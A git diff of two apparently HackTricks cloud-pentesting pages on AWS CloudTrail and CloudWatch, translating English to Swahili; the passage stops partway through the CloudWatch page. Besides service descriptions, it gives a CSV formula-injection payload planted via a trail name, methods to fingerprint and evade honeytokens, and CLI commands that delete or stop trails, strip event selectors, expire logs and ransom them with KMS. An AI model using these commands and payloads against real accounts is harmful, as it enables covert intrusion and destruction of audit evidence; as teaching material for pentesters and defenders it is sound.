b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 780f52f6e..89275dc57 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,111 +4,108 @@ ## **CloudTrail** -AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance. +AWS CloudTrail **inaandika na kufuatilia shughuli ndani ya mazingira yako ya AWS**. Inakamata **kumbukumbu za matukio** za kina, ikiwa ni pamoja na nani alifanya nini, lini, na kutoka wapi, kwa mwingiliano wote na rasilimali za AWS. Hii inatoa njia ya ukaguzi wa mabadiliko na vitendo, kusaidia katika uchambuzi wa usalama, ukaguzi wa kufuata, na kufuatilia mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia ya mtumiaji na rasilimali, kuboresha hali za usalama, na kuhakikisha kufuata kanuni. -Each logged event contains: +Kila tukio lililosajiliwa lina: -- The name of the called API: `eventName` -- The called service: `eventSource` -- The time: `eventTime` -- The IP address: `SourceIPAddress` -- The agent method: `userAgent`. Examples: - - Signing.amazonaws.com - From AWS Management Console - - console.amazonaws.com - Root user of the account - - lambda.amazonaws.com - AWS Lambda -- The request parameters: `requestParameters` -- The response elements: `responseElements` +- Jina la API iliyotumika: `eventName` +- Huduma iliyotumika: `eventSource` +- Wakati: `eventTime` +- Anuani ya IP: `SourceIPAddress` +- Njia ya wakala: `userAgent`. Mifano: +- Signing.amazonaws.com - Kutoka AWS Management Console +- console.amazonaws.com - Mtumiaji wa root wa akaunti +- lambda.amazonaws.com - AWS Lambda +- Vigezo vya ombi: `requestParameters` +- Vipengele vya majibu: `responseElements` -Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ -CloudTrails logs can be **aggregated across accounts and across regions.**\ -CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ -When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. +Matukio yanaandikwa kwenye faili mpya ya kumbukumbu **karibu kila dakika 5 katika faili la JSON**, yanashikiliwa na CloudTrail na hatimaye, faili za kumbukumbu **zinasambazwa kwa S3 karibu dakika 15 baada**.\ +Kumbukumbu za CloudTrail zinaweza **kuunganishwa kati ya akaunti na kati ya maeneo.**\ +CloudTrail inaruhusu kutumia **uaminifu wa faili za kumbukumbu ili uweze kuthibitisha kwamba faili zako za kumbukumbu hazijabadilika** tangu CloudTrail ilipokuletea. Inaunda hash ya SHA-256 ya kumbukumbu ndani ya faili ya muhtasari. Hash ya sha-256 ya kumbukumbu mpya inaundwa kila saa.\ +Wakati wa kuunda Trail, wachaguaji wa matukio watakuruhusu kuashiria trail ya kuandika: Usimamizi, data au matukio ya maarifa. -Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. +Kumbukumbu zinaokolewa katika bakuli la S3. Kwa kawaida, Usimbaji wa Kando wa Server unatumika (SSE-S3) hivyo AWS itachambua yaliyomo kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe. -The logs are stored in a **S3 bucket with this name format**: +Kumbukumbu zinahifadhiwa katika **bakuli la S3 lenye muundo huu wa jina**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Being the BucketName: **`aws-cloudtrail-logs--`** -- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** +- Jina la Bakuli: **`aws-cloudtrail-logs--`** +- Mfano: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +Ndani ya kila folda, kila kumbukumbu itakuwa na **jina linalofuata muundo huu**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Log File Naming Convention +Mkataba wa Kutoa Jina la Faili za Kumbukumbu ![](<../../../../images/image (122).png>) -Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in: +Zaidi ya hayo, **faili za muhtasari (kuangalia uaminifu wa faili)** zitakuwa ndani ya **bakuli moja** katika: ![](<../../../../images/image (195).png>) -### Aggregate Logs from Multiple Accounts +### Kuunganisha Kumbukumbu kutoka Akaunti Nyingi -- Create a Trial in the AWS account where you want the log files to be delivered to -- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access -- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1 +- Unda Trail katika akaunti ya AWS ambapo unataka faili za kumbukumbu zipelekwe +- Weka ruhusa kwa bakuli la S3 la marudio kuruhusu ufikiaji wa akaunti tofauti kwa CloudTrail na ruhusu kila akaunti ya AWS inayohitaji ufikiaji +- Unda Trail mpya katika akaunti nyingine za AWS na chagua kutumia bakuli iliyoundwa katika hatua ya 1 -However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account. +Hata hivyo, hata kama unaweza kuhifadhi kumbukumbu zote katika bakuli moja ya S3, huwezi kuunganisha kumbukumbu za CloudTrail kutoka akaunti nyingi katika Kumbukumbu za CloudWatch zinazomilikiwa na akaunti moja ya AWS. > [!CAUTION] -> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets. +> Kumbuka kwamba akaunti inaweza kuwa na **Trails tofauti** kutoka CloudTrail **iliyowezeshwa** ikihifadhi kumbukumbu sawa (au tofauti) katika bakuli tofauti. -### Cloudtrail from all org accounts into 1 +### Cloudtrail kutoka akaunti zote za org katika 1 -When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket: +Wakati wa kuunda CloudTrail, inawezekana kuashiria kuanzisha cloudtrail kwa akaunti zote katika org na kupata kumbukumbu katika bakuli 1 tu:
-This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect). +Kwa njia hii unaweza kwa urahisi kuunda CloudTrail katika maeneo yote ya akaunti zote na kuunganisha kumbukumbu katika akaunti 1 (ambayo unapaswa kulinda). -### Log Files Checking - -You can check that the logs haven't been altered by running +### Kuangalia Faili za Kumbukumbu +Unaweza kuangalia kwamba kumbukumbu hazijabadilishwa kwa kukimbia ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` - ### Logs to CloudWatch -**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +**CloudTrail inaweza kutuma logi moja kwa moja kwa CloudWatch ili uweze kuweka arifa zinazokujulisha unapofanya shughuli za kushangaza.**\ +Kumbuka kwamba ili kuruhusu CloudTrail kutuma logi kwa CloudWatch, **jukumu** linahitaji kuundwa ambalo linaruhusu kitendo hicho. Ikiwezekana, inapendekezwa kutumia jukumu la AWS la kawaida kufanya vitendo hivi. Jukumu hili litaruhusu CloudTrail: -- CreateLogStream: This allows to create a CloudWatch Logs log streams -- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream +- CreateLogStream: Hii inaruhusu kuunda mtiririko wa logi za CloudWatch +- PutLogEvents: Toa logi za CloudTrail kwa mtiririko wa logi za CloudWatch ### Event History -CloudTrail Event History allows you to inspect in a table the logs that have been recorded: +Historia ya Matukio ya CloudTrail inakuruhusu kukagua katika jedwali logi ambazo zimeandikwa: ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, youā€™ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. +**CloudTrail Insights** moja kwa moja **inafanya uchambuzi** wa matukio ya usimamizi wa kuandika kutoka kwa CloudTrail trails na **inakujulisha** kuhusu **shughuli zisizo za kawaida**. Kwa mfano, ikiwa kuna ongezeko la matukio ya `TerminateInstance` ambayo yanatofautiana na viwango vilivyowekwa, utaona kama tukio la Insight. Matukio haya yanafanya **kupata na kujibu shughuli zisizo za kawaida za API kuwa rahisi** kuliko hapo awali. -The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Insights zinahifadhiwa katika ndoo ile ile kama logi za CloudTrail katika: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Validate if logs have been tampered with (modified or deleted)

  • Uses digest files (create hash for each file)

    • SHA-256 hashing
    • SHA-256 with RSA for digital signing
    • private key owned by Amazon
  • Takes 1 hour to create a digest file (done on the hour every hour)
| +| CloudTrail Log File Integrity |
  • Thibitisha ikiwa logi zimeingiliwa (kubadilishwa au kufutwa)

  • Tumia faili za digest (unda hash kwa kila faili)

    • SHA-256 hashing
    • SHA-256 na RSA kwa saini ya kidijitali
    • funguo ya faragha inayomilikiwa na Amazon
  • Inachukua saa 1 kuunda faili ya digest (kufanywa kila saa)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |

  • Use IAM policies and S3 bucket policies

    • security team ā€”> admin access
    • auditors ā€”> read only access
  • Use SSE-S3/SSE-KMS to encrypt the logs
| -| Prevent log files from being deleted |
  • Restrict delete access with IAM and bucket policies
  • Configure S3 MFA delete
  • Validate with Log File Validation
| +| Stop unauthorized access |

  • Tumia sera za IAM na sera za ndoo za S3

    • timu ya usalama ā€”> ufikiaji wa admin
    • waakifanyia ā€”> ufikiaji wa kusoma tu
  • Tumia SSE-S3/SSE-KMS kupeleka logi
| +| Prevent log files from being deleted |
  • Zuia ufikiaji wa kufuta kwa kutumia sera za IAM na ndoo
  • Sanidi S3 MFA delete
  • Thibitisha kwa Log File Validation
| ## Access Advisor -AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns. +AWS Access Advisor inategemea siku 400 za mwisho za logi za AWS **CloudTrail ili kukusanya maarifa yake**. CloudTrail inakamata historia ya wito wa API za AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Access Advisor inatumia data hii kuonyesha **wakati huduma zilipofikiwa kwa mara ya mwisho**. Kwa kuchambua logi za CloudTrail, Access Advisor inaweza kubaini ni huduma zipi za AWS ambazo mtumiaji wa IAM au jukumu limefikiwa na wakati ufikiaji huo ulifanyika. Hii inasaidia wasimamizi wa AWS kufanya maamuzi sahihi kuhusu **kuboresha ruhusa**, kwani wanaweza kubaini huduma ambazo hazijafikiwa kwa muda mrefu na huenda kupunguza ruhusa pana kupita kiasi kulingana na mifumo halisi ya matumizi. > [!TIP] -> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them +> Hivyo, Access Advisor inatoa taarifa kuhusu **ruhusa zisizohitajika zinazotolewa kwa watumiaji** ili admin aweze kuziondoa
## Actions ### Enumeration - ```bash # Get trails info aws cloudtrail list-trails @@ -125,125 +122,113 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` - ### **CSV Injection** -It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\ -The following code will generate log entry with a bad Trail name containing the payload: - +Inawezekana kufanya CVS injection ndani ya CloudTrail ambayo itatekeleza msimbo wowote ikiwa logi zitasafirishwa kwa CSV na kufunguliwa na Excel.\ +Msimbo ufuatao utaunda kipengee cha logi chenye jina mbaya la Trail kinachojumuisha payload: ```python import boto3 payload = "=cmd|'/C calc'|''" client = boto3.client('cloudtrail') response = client.create_trail( - Name=payload, - S3BucketName="random" +Name=payload, +S3BucketName="random" ) print(response) ``` - -For more information about CSV Injections check the page: +Kwa maelezo zaidi kuhusu CSV Injections angalia ukurasa: {{#ref}} https://book.hacktricks.xyz/pentesting-web/formula-injection {{#endref}} -For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) +Kwa maelezo zaidi kuhusu mbinu hii maalum angalia [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) -## **Bypass Detection** +## **Kupita Ugunduzi** -### HoneyTokens **bypass** +### HoneyTokens **kupita** -Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key. +Honeytokens zinaundwa ili **kubaini uhamishaji wa taarifa nyeti**. Katika kesi ya AWS, ni **funguo za AWS ambazo matumizi yake yanakaguliwa**, ikiwa kitu kinachochea kitendo na funguo hiyo, basi mtu lazima awe amepora funguo hiyo. -However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**. +Hata hivyo, Honeytokens kama zile zinazoundwa na [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) zinatumia jina la akaunti linalotambulika au kutumia ID ya akaunti ya AWS sawa kwa wateja wao wote. Hivyo, ikiwa unaweza kupata jina la akaunti na/au ID ya akaunti bila kufanya Cloudtrail kuunda logi yoyote, **unaweza kujua kama funguo ni honeytoken au la**. -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ina sheria kadhaa za kugundua ikiwa funguo inamhusu [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** -- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message. - - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name. -- If **`SpaceCrab`** appears in the role name in the error message -- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken. +- Ikiwa **`canarytokens.org`** inaonekana katika jina la jukumu au ID ya akaunti **`534261010715`** inaonekana katika ujumbe wa kosa. +- Kuziangalia hivi karibuni, wanatumia akaunti **`717712589309`** na bado ina **`canarytokens.com`** katika jina. +- Ikiwa **`SpaceCrab`** inaonekana katika jina la jukumu katika ujumbe wa kosa +- **SpaceSiren** inatumia **uuids** kuunda majina ya watumiaji: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- Ikiwa **jina linaonekana kama lililotengenezwa kwa bahati**, kuna uwezekano mkubwa kwamba ni HoneyToken. -#### Get the account ID from the Key ID - -You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts: +#### Pata ID ya akaunti kutoka kwa Key ID +Unaweza kupata **ID ya Akaunti** kutoka kwa **encoded** ndani ya **funguo ya ufikiaji** kama [**ilivyoelezwa hapa**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) na kuangalia ID ya akaunti na orodha yako ya Honeytokens AWS: ```python import base64 import binascii def AWSAccount_from_AWSKeyID(AWSKeyID): - trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix - x = base64.b32decode(trimmed_AWSKeyID) #base32 decode - y = x[0:6] +trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix +x = base64.b32decode(trimmed_AWSKeyID) #base32 decode +y = x[0:6] - z = int.from_bytes(y, byteorder='big', signed=False) - mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) +z = int.from_bytes(y, byteorder='big', signed=False) +mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) - e = (z & mask)>>7 - return (e) +e = (z & mask)>>7 +return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` - Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). -#### Do not generate a log +#### Usijenge log -The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**. +Mbinu bora zaidi kwa hili ni rahisi. Tumia tu funguo uliyopata kuingia kwenye huduma ndani ya akaunti yako ya washambuliaji. Hii itafanya **CloudTrail kuunda log ndani ya AKAUNTI YAKO YA AWS na si ndani ya waathiriwa**. -The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**. +Jambo ni kwamba matokeo yataonyesha kosa linaloashiria ID ya akaunti na jina la akaunti hivyo **utaweza kuona kama ni Honeytoken**. -#### AWS services without logs +#### Huduma za AWS bila logs -In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it. +Katika siku za nyuma kulikuwa na baadhi ya **huduma za AWS ambazo hazitumi logs kwa CloudTrail** (pata [orodha hapa](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Baadhi ya huduma hizo zitajibu kwa **kosa** lililo na **ARN ya funguo** ikiwa mtu asiyeidhinishwa (funguo ya honeytoken) anajaribu kuingia. -This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken. +Kwa njia hii, **mshambuliaji anaweza kupata ARN ya funguo bila kuanzisha log yoyote**. Katika ARN mshambuliaji anaweza kuona **AWS account ID na jina**, ni rahisi kujua ID na majina ya akaunti za kampuni za HoneyToken, hivyo kwa njia hii mshambuliaji anaweza kubaini kama token ni HoneyToken. ![](<../../../../images/image (93).png>) > [!CAUTION] -> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own... +> Kumbuka kwamba APIs zote za umma zilizogundulika kutokuwa na log za CloudTrail sasa zimerekebishwa, hivyo labda unahitaji kutafuta zako mwenyewe... > -> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Kwa maelezo zaidi angalia [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). -### Accessing Third Infrastructure +### Kufikia Miundombinu ya Tatu -Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **wonā€™t use the AWS API**, so CloudTrail wonā€™t be able to see this communication. +Huduma fulani za AWS zitaunda **miundombinu fulani** kama vile **Databases** au **Kubernetes** clusters (EKS). Mtumiaji **akizungumza moja kwa moja na huduma hizo** (kama API ya Kubernetes) **hataitumia AWS API**, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya. -Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**. +Hivyo, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kuunda token kwa ndani na **kuzungumza na huduma ya API moja kwa moja bila kugunduliwa na Cloudtrail**. -More info in: +Maelezo zaidi katika: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -### Modifying CloudTrail Config - -#### Delete trails +### Kubadilisha Mipangilio ya CloudTrail +#### Futa trails ```bash aws cloudtrail delete-trail --name [trail-name] ``` - #### Stop trails - ```bash aws cloudtrail stop-logging --name [trail-name] ``` - -#### Disable multi-region logging - +#### Zima usajili wa mikoa mingi ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` - -#### Disable Logging by Event Selectors - +#### Zima Kurekodi kwa Wateule wa Matukio ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -251,30 +236,27 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` +Katika mfano wa kwanza, mteule wa tukio mmoja unapatikana kama array ya JSON yenye kitu kimoja. `"ReadWriteType": "ReadOnly"` inaonyesha kwamba **mteule wa tukio unapaswa kunasa matukio ya kusoma tu** (hivyo maarifa ya CloudTrail **hayataangalia** matukio ya kuandika kwa mfano). -In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example). - -You can customize the event selector based on your specific requirements. - -#### Logs deletion via S3 lifecycle policy +Unaweza kubinafsisha mteule wa tukio kulingana na mahitaji yako maalum. +#### Kufuta kumbukumbu kupitia sera ya maisha ya S3 ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` +### Kubadilisha Mipangilio ya Bucket -### Modifying Bucket Configuration - -- Delete the S3 bucket -- Change bucket policy to deny any writes from the CloudTrail service -- Add lifecycle policy to S3 bucket to delete objects -- Disable the kms key used to encrypt the CloudTrail logs +- Futa S3 bucket +- Badilisha sera ya bucket kukataa maandiko yoyote kutoka kwa huduma ya CloudTrail +- Ongeza sera ya mzunguko kwa S3 bucket kufuta vitu +- Zima ufunguo wa kms unaotumika kuandika kumbukumbu za CloudTrail ### Cloudtrail ransomware #### S3 ransomware -You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\ -This is basically a **S3-KMS ransomware** explained in: +Unaweza **kuunda ufunguo wa asimetriki** na kufanya **CloudTrail kuandika data** kwa ufunguo huo na **kufuta ufunguo wa kibinafsi** ili maudhui ya CloudTrail hayawezi kurejeshwa.\ +Hii ni kimsingi **S3-KMS ransomware** iliyoelezwa katika: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md @@ -282,18 +264,14 @@ This is basically a **S3-KMS ransomware** explained in: **KMS ransomware** -This is an easiest way to perform the previous attack with different permissions requirements: +Hii ni njia rahisi zaidi ya kutekeleza shambulio la awali na mahitaji tofauti ya ruhusa: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **Marejeleo** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0c790b881..964983e58 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,143 +4,142 @@ ## CloudWatch -**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\ -CloudWatch Log Event have a **size limitation of 256KB on each log line**.\ -It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications. +**CloudWatch** **inakusanya** ufuatiliaji na **data** za operesheni katika mfumo wa logs/metrics/events ikitoa **mtazamo wa pamoja wa rasilimali za AWS**, programu na huduma.\ +CloudWatch Log Event ina **kikomo cha ukubwa wa 256KB kwa kila mstari wa log**.\ +Inaweza kuweka **alarms za azimio la juu**, kuonyesha **logs** na **metrics** kwa pamoja, kuchukua hatua za kiotomatiki, kutatua matatizo, na kugundua maarifa ili kuboresha programu. -You can monitor for example logs from CloudTrail. Events that are monitored: +Unaweza kufuatilia kwa mfano logs kutoka CloudTrail. Matukio yanayofuatiliwa: -- Changes to Security Groups and NACLs -- Starting, Stopping, rebooting and terminating EC2 instances -- Changes to Security Policies within IAM and S3 -- Failed login attempts to the AWS Management Console -- API calls that resulted in failed authorization -- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- Mabadiliko ya Vikundi vya Usalama na NACLs +- Kuanzisha, Kusitisha, kuanzisha upya na kumaliza EC2 instances +- Mabadiliko ya Sera za Usalama ndani ya IAM na S3 +- Jaribio la kuingia lililoshindwa kwenye AWS Management Console +- API calls ambazo zilisababisha mamlaka kushindwa +- Filters za kutafuta katika cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) ## Key concepts ### Namespaces -A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them. +Namespace ni kontena la metrics za CloudWatch. Inasaidia kuainisha na kutenga metrics, na kufanya iwe rahisi kuzisimamia na kuzichambua. -- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics. +- **Mifano**: AWS/EC2 kwa metrics zinazohusiana na EC2, AWS/RDS kwa metrics za RDS. ### Metrics -Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations. +Metrics ni data points zinazokusanywa kwa muda zinazoakisi utendaji au matumizi ya rasilimali za AWS. Metrics zinaweza kukusanywa kutoka kwa huduma za AWS, programu za kawaida, au ushirikiano wa wahusika wengine. -- **Example**: CPUUtilization, NetworkIn, DiskReadOps. +- **Mfano**: CPUUtilization, NetworkIn, DiskReadOps. ### Dimensions -Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes. +Dimensions ni jozi za funguo-thamani ambazo ni sehemu ya metrics. Zinasaidia kutambua kipekee metric na kutoa muktadha wa ziada, ikiwa 30 ndiyo idadi kubwa zaidi ya dimensions zinazoweza kuunganishwa na metric. Dimensions pia huruhusu kuchuja na kujumlisha metrics kulingana na sifa maalum. -- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone. +- **Mfano**: Kwa EC2 instances, dimensions zinaweza kujumuisha InstanceId, InstanceType, na AvailabilityZone. ### Statistics -Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount. +Statistics ni hesabu za kimaadili zinazofanywa kwenye data ya metric ili kuifupisha kwa muda. Takwimu za kawaida ni pamoja na Average, Sum, Minimum, Maximum, na SampleCount. -- **Example**: Calculating the average CPU utilization over a period of one hour. +- **Mfano**: Kuandika wastani wa matumizi ya CPU kwa kipindi cha saa moja. ### Units -Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count. +Units ni aina ya kipimo inayohusishwa na metric. Units husaidia kutoa muktadha na maana kwa data ya metric. Units za kawaida ni pamoja na Percent, Bytes, Seconds, Count. -- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes. +- **Mfano**: CPUUtilization inaweza kupimwa kwa Percent, wakati NetworkIn inaweza kupimwa kwa Bytes. ## CloudWatch Features ### Dashboard -**CloudWatch Dashboards** 